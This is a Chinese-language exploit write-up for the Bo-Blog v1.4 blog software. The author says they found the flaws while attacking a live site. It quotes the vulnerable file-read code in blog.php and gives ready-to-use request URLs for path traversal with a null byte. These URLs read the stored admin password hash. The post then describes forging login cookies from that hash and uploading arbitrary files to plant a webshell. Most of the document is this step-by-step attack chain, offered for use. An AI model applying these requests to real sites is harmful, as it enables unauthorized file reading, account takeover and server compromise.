这个是前几天,干某人站,发现用的这套程序,于是就下了一套研究(坑爹啊,04年的Blog程序现在居然还有人用,不过现在这位同学换了Blog程序,发出来也不怕万人轮了),挖了几个漏洞,这是其中一个,这套程序除了这个漏洞,还有各种XSS(取Cookie直接叼Shell,见下文)、文件包含、配置文件写马、文件读取……
因为这个系统没有数据库,所以采用的是纯文本格式储存各种数据,留言什么的居然都是直接储存在“*.php”文件中,坑爹啊、这是……,还好过滤做的比较严,不然又直接叼 Shell、。。
By:Nuclear'Atk
From:https://lcx.cc/post/1679/
漏洞名称:
Bo-Blog v1.4 单用户版分类列表文件读取漏洞 + 拿 WebShell
漏洞文件:
blog.php
漏洞代码:
if ($job=="showcat") { //列出某个分类下所有entries
if (!file_exists("$dirblog/$cat.php")) {
wronginfo("没有找到这个分类。");
}
unset ($allfiles);
$allfiles=@file("$dirblog/$cat.php");
利用条件:
Null
漏洞原因:
在文件“blog.php”中,功能“分类列表”。
参数“cat=”没有经过任何处理,直接使用“$allfiles=@file("$dirblog/$cat.php");”读文件。
导致如果提交文件名,那么就会直接读取该文件处理输出。
漏洞测试:
1、读 index.htm:http://127.0.0.1/blog.php?job=showcat&cat=../index.htm%00
漏洞利用:
1、读 $dirblog/userid.php:http://127.0.0.1/blog.php?job=showcat&cat=userid
2、读 /diruser/userid.php:http://127.0.0.1/blog.php?job=showcat&cat=../diruser/userid
利用本漏洞可以直接拿 WebShell,步骤如下:
1、访问:http://127.0.0.1/blog.php?job=showcat&cat=../diruser/userid(或:http://127.0.0.1/blog.php?job=showcat&cat=userid,取决于博客配置的路径地址),得到管理密码 Hash 值。
2、访问:http://127.0.0.1/profile.php,得到管理账号。
3、由于这个程序把账号和管理密码Hash值放到Cookies中进行登录验证,所以拿到账号和管理密码Hash值就可以直接登陆了,根本不需要破解。
4、修改 Cookies:lastvisit=lastvisit; nowuserid=管理ID; nowuserpassword=管理密码Hash值
5、刷新页面,已经登陆进去了,然后访问:http://127.0.0.1/mblog_upload.php,可以上传任意文件,拿到 WebShell。
其他信息:
Null